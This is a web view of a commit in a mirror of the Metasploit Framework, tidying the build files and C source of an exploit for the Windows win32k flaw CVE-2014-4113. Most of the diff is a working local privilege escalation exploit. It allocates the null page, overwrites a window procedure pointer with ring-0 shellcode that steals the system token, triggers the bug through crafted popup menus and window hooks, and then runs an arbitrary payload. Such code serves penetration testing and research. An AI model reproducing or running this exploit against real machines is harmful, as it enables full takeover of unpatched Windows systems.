infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Fix project settings, make files, start tidying of code

bug/bundler_fix
OJ 2014-10-28 07:58:19 +10:00
parent 1508be6254
commit 062eff8ede
5 changed files with 295 additions and 169 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

22
external/source/exploits/cve-2014-4113/cve-2014-4113.sln vendored
View File

@ -1,9 +1,9 @@
 
Microsoft Visual Studio Solution File, Format Version 12.00 Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop # Visual Studio 2013
VisualStudioVersion = 12.0.30723.0 VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1 MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{E80F11CD-6698-492F-B4B0-1A2348A24BB0}"
EndProject EndProject
Global Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution GlobalSection(SolutionConfigurationPlatforms) = preSolution
@ -13,14 +13,14 @@ Global
Release|x64 = Release|x64 Release|x64 = Release|x64
EndGlobalSection EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32 {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.ActiveCfg = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32 {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.Build.0 = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.ActiveCfg = Debug|x64 {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.ActiveCfg = Debug|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.Build.0 = Debug|x64 {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.Build.0 = Debug|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32 {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.ActiveCfg = Release|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32 {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.Build.0 = Release|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.ActiveCfg = Release|x64 {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.ActiveCfg = Release|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.Build.0 = Release|x64 {E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.Build.0 = Release|x64
EndGlobalSection EndGlobalSection
GlobalSection(SolutionProperties) = preSolution GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE HideSolutionNode = FALSE

197
external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c vendored
View File

@ -2,6 +2,9 @@
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// Uncomment this line to enable to debug output
#define DEBUGGING
// Purloined from ntstatus.h // Purloined from ntstatus.h
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
@ -9,18 +12,22 @@
#include <windows.h> #include <windows.h>
#undef WIN32_NO_STATUS #undef WIN32_NO_STATUS
#ifdef DEBUGGING
#include <stdio.h>
#endif
#ifndef _NTDEF_ #ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS; typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS; typedef NTSTATUS *PNTSTATUS;
#endif #endif
#define DEBUGGING FALSE
#ifdef _M_X64 #ifdef _M_X64
typedef unsigned __int64 QWORD; typedef unsigned __int64 QWORD;
typedef QWORD *PQWORD; typedef QWORD *PQWORD;
#endif #endif
#define PTR_SIZE sizeof(UINT_PTR)
int WndProcClue = 0; int WndProcClue = 0;
int HookCallbackClue = 0; int HookCallbackClue = 0;
WNDPROC lpPrevWndFunc; WNDPROC lpPrevWndFunc;
@ -34,21 +41,22 @@ typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
IN PSIZE_T RegionSize, IN PSIZE_T RegionSize,
IN ULONG AllocationType, IN ULONG AllocationType,
IN ULONG Protect IN ULONG Protect
); );
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)( typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
IN HANDLE ProcessId, IN HANDLE ProcessId,
OUT PVOID Process OUT PVOID Process
); );
typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)( typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
_In_ DWORD SystemInformationClass, _In_ DWORD SystemInformationClass,
_Inout_ PVOID SystemInformation, _Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength, _In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength _Out_opt_ PULONG ReturnLength
); );
typedef struct _SYSTEM_MODULE { typedef struct _SYSTEM_MODULE
{
HANDLE Reserved1; HANDLE Reserved1;
PVOID Reserved2; PVOID Reserved2;
PVOID ImageBaseAddress; PVOID ImageBaseAddress;
@ -61,8 +69,8 @@ typedef struct _SYSTEM_MODULE {
BYTE Name[256]; BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE; } SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION
typedef struct _SYSTEM_MODULE_INFORMATION { {
ULONG ModulesCount; ULONG ModulesCount;
SYSTEM_MODULE Modules[0]; SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
@ -70,6 +78,20 @@ typedef struct _SYSTEM_MODULE_INFORMATION {
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL; lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL; lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
#ifdef DEBUGGING
void LogMessage(char* pszFormat, ...)
{
static char s_acBuf[2048];
va_list args;
va_start(args, pszFormat);
vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args);
printf("%s\n", s_acBuf);
OutputDebugString(s_acBuf);
va_end(args);
}
#else
#define LogMessage(...)
#endif
long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{ {
@ -77,27 +99,23 @@ long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
return -5; return -5;
} }
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) { LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
#ifdef _M_X64 {
if (*(DWORD *)(lParam + 16) == 0x1EB && !HookCallbackClue) if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !HookCallbackClue)
#else
if (*(DWORD *)(lParam + 8) == 0x1EB && !HookCallbackClue)
#endif
{ {
HookCallbackClue = 1; HookCallbackClue = 1;
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback))
#ifdef _M_X64 {
lpPrevWndFunc = (WNDPROC)SetWindowLongPtr(*(HWND *)(lParam + 24), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo); lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo);
#else
lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
#endif
} }
} }
return CallNextHookEx(0, code, wParam, lParam); return CallNextHookEx(0, code, wParam, lParam);
} }
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
if (msg == 289 && WndProcClue != 1) { {
if (msg == 289 && WndProcClue != 1)
{
WndProcClue = 1; WndProcClue = 1;
PostMessageA(hwnd, 256, 40, 0); PostMessageA(hwnd, 256, 40, 0);
PostMessageA(hwnd, 256, 39, 0); PostMessageA(hwnd, 256, 39, 0);
@ -114,15 +132,17 @@ QWORD MyPtiCurrent(void) {
return Win32ThreadInfo; return Win32ThreadInfo;
} }
#else #else
DWORD __stdcall MyPtiCurrent() { DWORD __stdcall MyPtiCurrent()
{
__asm { __asm {
mov eax, fs : 18h mov eax, fs : 18h
mov eax, [eax + 40h] mov eax, [eax + 40h]
} }
} }
#endif #endif
int _stdcall shellcode_ring0(int one, int two, int three, int four) { int _stdcall shellcode_ring0(int one, int two, int three, int four)
{
void *my_process_info = NULL; void *my_process_info = NULL;
void *system_info = NULL; void *system_info = NULL;
@ -134,27 +154,15 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four) {
return 0; return 0;
} }
void DWORD WINAPI ExecutePayload(LPVOID lpPayload)
LogMessage(char* pszFormat, ...) { {
if (DEBUGGING != TRUE) {
return;
}
static char s_acBuf[2048];
va_list args;
va_start(args, pszFormat);
vsprintf(s_acBuf, pszFormat, args);
printf("%s\n", s_acBuf);
OutputDebugString(s_acBuf);
va_end(args);
}
DWORD WINAPI ExecutePayload(LPVOID lpPayload) {
VOID(*lpCode)() = (VOID(*)())lpPayload; VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode(); lpCode();
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
void Win32kNullPage(LPVOID lpPayload) { void Win32kNullPage(LPVOID lpPayload)
{
HWND hWnd; HWND hWnd;
WNDCLASSA WndClass; WNDCLASSA WndClass;
LPBYTE promise_land = NULL; LPBYTE promise_land = NULL;
@ -178,18 +186,25 @@ void Win32kNullPage(LPVOID lpPayload) {
} }
#ifdef _M_X64 #ifdef _M_X64
if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1 if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1)
{
// Ex: Windows 7 SP1
LogMessage("[*] Windows 6.1 found..."); LogMessage("[*] Windows 6.1 found...");
OffsetWindows = 0x208; OffsetWindows = 0x208;
} }
#else #else
if (VersionInformation.dwMajorVersion == 6) { if (VersionInformation.dwMajorVersion == 6)
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1 {
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1)
{
// Ex: Windows 7 SP1
LogMessage("[*] Windows 6.1 found..."); LogMessage("[*] Windows 6.1 found...");
OffsetWindows = 0xf8; OffsetWindows = 0xf8;
} }
else if (!VersionInformation.dwMinorVersion) { else if (!VersionInformation.dwMinorVersion)
LogMessage("[*] Windows 6.0 found..."); // Ex: Windows 2008 R2 {
// Ex: Windows 2008 R2
LogMessage("[*] Windows 6.0 found...");
OffsetWindows = 0xe0; OffsetWindows = 0xe0;
} }
else { else {
@ -221,13 +236,15 @@ void Win32kNullPage(LPVOID lpPayload) {
LogMessage("[*] Solving symbols..."); LogMessage("[*] Solving symbols...");
hNtdll = LoadLibraryA("ntdll"); hNtdll = LoadLibraryA("ntdll");
if (hNtdll == NULL) { if (hNtdll == NULL)
{
LogMessage("[!] Failed to Load ntdll..."); LogMessage("[!] Failed to Load ntdll...");
return; return;
} }
pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation"); pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if (pZwQuerySystemInformation == NULL) { if (pZwQuerySystemInformation == NULL)
{
LogMessage("[!] Failed to solve ZwQuerySystemInformation"); LogMessage("[!] Failed to solve ZwQuerySystemInformation");
return; return;
} }
@ -242,23 +259,25 @@ void Win32kNullPage(LPVOID lpPayload) {
status = pZwQuerySystemInformation(11, &SystemInfoBufferSize, 0, &SystemInfoBufferSize); status = pZwQuerySystemInformation(11, &SystemInfoBufferSize, 0, &SystemInfoBufferSize);
if (SystemInfoBufferSize == 0) { if (SystemInfoBufferSize == 0)
{
LogMessage("[!] Requesting pZwQuerySystemInformation required length failed"); LogMessage("[!] Requesting pZwQuerySystemInformation required length failed");
return; return;
} }
else {
LogMessage("[*] pZwQuerySystemInformation required length %d", SystemInfoBufferSize); LogMessage("[*] pZwQuerySystemInformation required length %d", SystemInfoBufferSize);
}
pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize); pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize);
if (pSystemInfoBuffer == NULL) { if (pSystemInfoBuffer == NULL)
{
LogMessage("[!] Allocation for SystemInfo failed"); LogMessage("[!] Allocation for SystemInfo failed");
return; return;
} }
status = pZwQuerySystemInformation(11, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize); status = pZwQuerySystemInformation(11, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize);
if (status != STATUS_SUCCESS) { if (status != STATUS_SUCCESS)
{
LogMessage("[!] Requesting kernel modules through ZwQuerySystemInformation failed"); LogMessage("[!] Requesting kernel modules through ZwQuerySystemInformation failed");
return; return;
} }
@ -272,13 +291,16 @@ void Win32kNullPage(LPVOID lpPayload) {
memset(nt_name, 0, 256); memset(nt_name, 0, 256);
int i = 0; ULONG i = 0;
while (i < smi->ModulesCount) { while (i < smi->ModulesCount)
{
SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i); SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i);
LogMessage("[*] Checking module %s", sm->Name); LogMessage("[*] Checking module %s", sm->Name);
if (strstr((char *)sm->Name, ".exe")) { if (strstr((char *)sm->Name, ".exe"))
{
char *start = strstr((char *)sm->Name, "nt"); char *start = strstr((char *)sm->Name, "nt");
if (start != NULL) { if (start != NULL)
{
nt_base = sm->ImageBaseAddress; nt_base = sm->ImageBaseAddress;
strncpy_s(nt_name, 256, start, _TRUNCATE); strncpy_s(nt_name, 256, start, _TRUNCATE);
break; break;
@ -287,13 +309,12 @@ void Win32kNullPage(LPVOID lpPayload) {
i++; i++;
} }
if (nt_name == NULL) { if (nt_name == NULL)
{
LogMessage("[!] nt not found"); LogMessage("[!] nt not found");
return; return;
} }
else { LogMessage("[*] Good! nt found as %s at 0x%08x", nt_name, nt_base);
LogMessage("[*] Good! nt found as %s at 0x%08x", nt_name, nt_base);
}
ntkrnl = LoadLibraryA(nt_name); ntkrnl = LoadLibraryA(nt_name);
@ -301,7 +322,8 @@ void Win32kNullPage(LPVOID lpPayload) {
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(ntkrnl, "PsLookupProcessByProcessId"); pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(ntkrnl, "PsLookupProcessByProcessId");
if (pPsLookupProcessByProcessId == NULL) { if (pPsLookupProcessByProcessId == NULL)
{
LogMessage("[!] Failed to solve PsLookupProcessByProcessId\n"); LogMessage("[!] Failed to solve PsLookupProcessByProcessId\n");
return; return;
} }
@ -323,7 +345,8 @@ void Win32kNullPage(LPVOID lpPayload) {
WndClass.lpfnWndProc = WndProc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx WndClass.lpfnWndProc = WndProc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx
WndClass.lpszClassName = "woqunimalegebi"; WndClass.lpszClassName = "woqunimalegebi";
if (RegisterClassA(&WndClass) == 0) { if (!RegisterClassA(&WndClass))
{
LogMessage("[!] RegisterClassA failed "); LogMessage("[!] RegisterClassA failed ");
return; return;
} }
@ -332,7 +355,8 @@ void Win32kNullPage(LPVOID lpPayload) {
LogMessage("[*] Creating window..."); LogMessage("[*] Creating window...");
hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL); hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL);
if (hWnd == NULL) { if (hWnd == NULL)
{
LogMessage("[!] CreateWindowExA failed"); LogMessage("[!] CreateWindowExA failed");
return; return;
} }
@ -351,7 +375,9 @@ void Win32kNullPage(LPVOID lpPayload) {
current_process = GetCurrentProcess(); current_process = GetCurrentProcess();
if (pNtAllocateVirtualMemory(current_process, (LPVOID*)(&base_address), 0, &region_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) { ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;
if (pNtAllocateVirtualMemory(current_process, (LPVOID*)&base_address, 0, &region_size, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
{
LogMessage("[!] Failed to allocate null page"); LogMessage("[!] Failed to allocate null page");
return; return;
} }
@ -364,17 +390,20 @@ void Win32kNullPage(LPVOID lpPayload) {
DWORD pti = MyPtiCurrent(); DWORD pti = MyPtiCurrent();
#endif #endif
if (pti == 0) { if (pti == 0)
{
LoadLibrary("user32.dll"); LoadLibrary("user32.dll");
LoadLibrary("gdi32.dll"); LoadLibrary("gdi32.dll");
pti = MyPtiCurrent(); pti = MyPtiCurrent();
} }
if (pti == 0) { if (pti == 0)
{
LogMessage("[!] Filed to get PtiCurrent"); LogMessage("[!] Filed to get PtiCurrent");
return; return;
} }
else { else
{
#ifdef _M_X64 #ifdef _M_X64
LogMessage("[*] Good! pti 0x%016llx", pti); LogMessage("[*] Good! pti 0x%016llx", pti);
#else #else
@ -395,7 +424,7 @@ void Win32kNullPage(LPVOID lpPayload) {
/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */ /* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
(QWORD)test = 0x10000008B; (QWORD)test = 0x10000008B;
*((PQWORD)test) = &shellcode_ring0; *((PQWORD)test) = (QWORD)&shellcode_ring0;
#else #else
void *test = promise_land + 3; void *test = promise_land + 3;
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen) /* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
@ -415,7 +444,8 @@ void Win32kNullPage(LPVOID lpPayload) {
LogMessage("[*] Triggering vulnerability..."); LogMessage("[*] Triggering vulnerability...");
HMENU MenuOne = CreatePopupMenu(); HMENU MenuOne = CreatePopupMenu();
if (MenuOne == NULL) { if (MenuOne == NULL)
{
LogMessage("[!] First CreatePopupMenu failed"); LogMessage("[!] First CreatePopupMenu failed");
return; return;
} }
@ -425,14 +455,16 @@ void Win32kNullPage(LPVOID lpPayload) {
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA); MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
MenuOneInfo.fMask = MIIM_STRING; MenuOneInfo.fMask = MIIM_STRING;
if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) { if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE)
{
LogMessage("[!] First InsertMenuItemA failed"); LogMessage("[!] First InsertMenuItemA failed");
DestroyMenu(MenuOne); DestroyMenu(MenuOne);
return; return;
} }
HMENU MenuTwo = CreatePopupMenu(); HMENU MenuTwo = CreatePopupMenu();
if (MenuTwo == NULL) { if (MenuTwo == NULL)
{
LogMessage("[!] Second CreatePopupMenu failed"); LogMessage("[!] Second CreatePopupMenu failed");
DestroyMenu(MenuOne); DestroyMenu(MenuOne);
return; return;
@ -445,14 +477,17 @@ void Win32kNullPage(LPVOID lpPayload) {
MenuTwoInfo.dwTypeData = ""; MenuTwoInfo.dwTypeData = "";
MenuTwoInfo.cch = 1; MenuTwoInfo.cch = 1;
MenuTwoInfo.hSubMenu = MenuOne; MenuTwoInfo.hSubMenu = MenuOne;
if (InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo) != TRUE) {
if (InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo) != TRUE)
{
LogMessage("[!] Second InsertMenuItemA failed"); LogMessage("[!] Second InsertMenuItemA failed");
DestroyMenu(MenuTwo); DestroyMenu(MenuTwo);
DestroyMenu(MenuOne); DestroyMenu(MenuOne);
return; return;
} }
if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) { if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL)
{
LogMessage("[!] SetWindowsHookExA failed :-(\n"); LogMessage("[!] SetWindowsHookExA failed :-(\n");
DestroyMenu(MenuTwo); DestroyMenu(MenuTwo);
DestroyMenu(MenuOne); DestroyMenu(MenuOne);
@ -465,15 +500,17 @@ void Win32kNullPage(LPVOID lpPayload) {
// If everything worked process should be privileges at this point // If everything worked process should be privileges at this point
LogMessage("[!] Executing payload..."); LogMessage("[!] Executing payload...");
CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
return;
} }
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE; BOOL bReturnValue = TRUE;
switch (dwReason) { switch (dwReason)
{
case DLL_QUERY_HMODULE: case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL; hAppInstance = hinstDLL;
if (lpReserved != NULL) { if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance; *(HMODULE *)lpReserved = hAppInstance;
} }
break; break;
@ -487,4 +524,4 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
break; break;
} }
return bReturnValue; return bReturnValue;
}; }

236
external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj vendored
View File

@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations"> <ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32"> <ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration> <Configuration>Debug</Configuration>
@ -19,132 +19,220 @@
</ProjectConfiguration> </ProjectConfiguration>
</ItemGroup> </ItemGroup>
<PropertyGroup Label="Globals"> <PropertyGroup Label="Globals">
<ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid> <ProjectGuid>{E80F11CD-6698-492F-B4B0-1A2348A24BB0}</ProjectGuid>
<RootNamespace>cve20144113</RootNamespace> <RootNamespace>cve-2014-4113</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset> <WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType> <ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet> <CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120</PlatformToolset> <WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup> </PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings"> <ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup> </ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup> </ImportGroup>
<PropertyGroup Label="UserMacros" /> <PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup>
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath> <_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
</PropertyGroup> <OutDir>$(Configuration)\$(Platform)\</OutDir>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <IntDir>$(Configuration)\$(Platform)\</IntDir>
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath> <LinkIncremental>false</LinkIncremental>
</PropertyGroup> <GenerateManifest>false</GenerateManifest>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
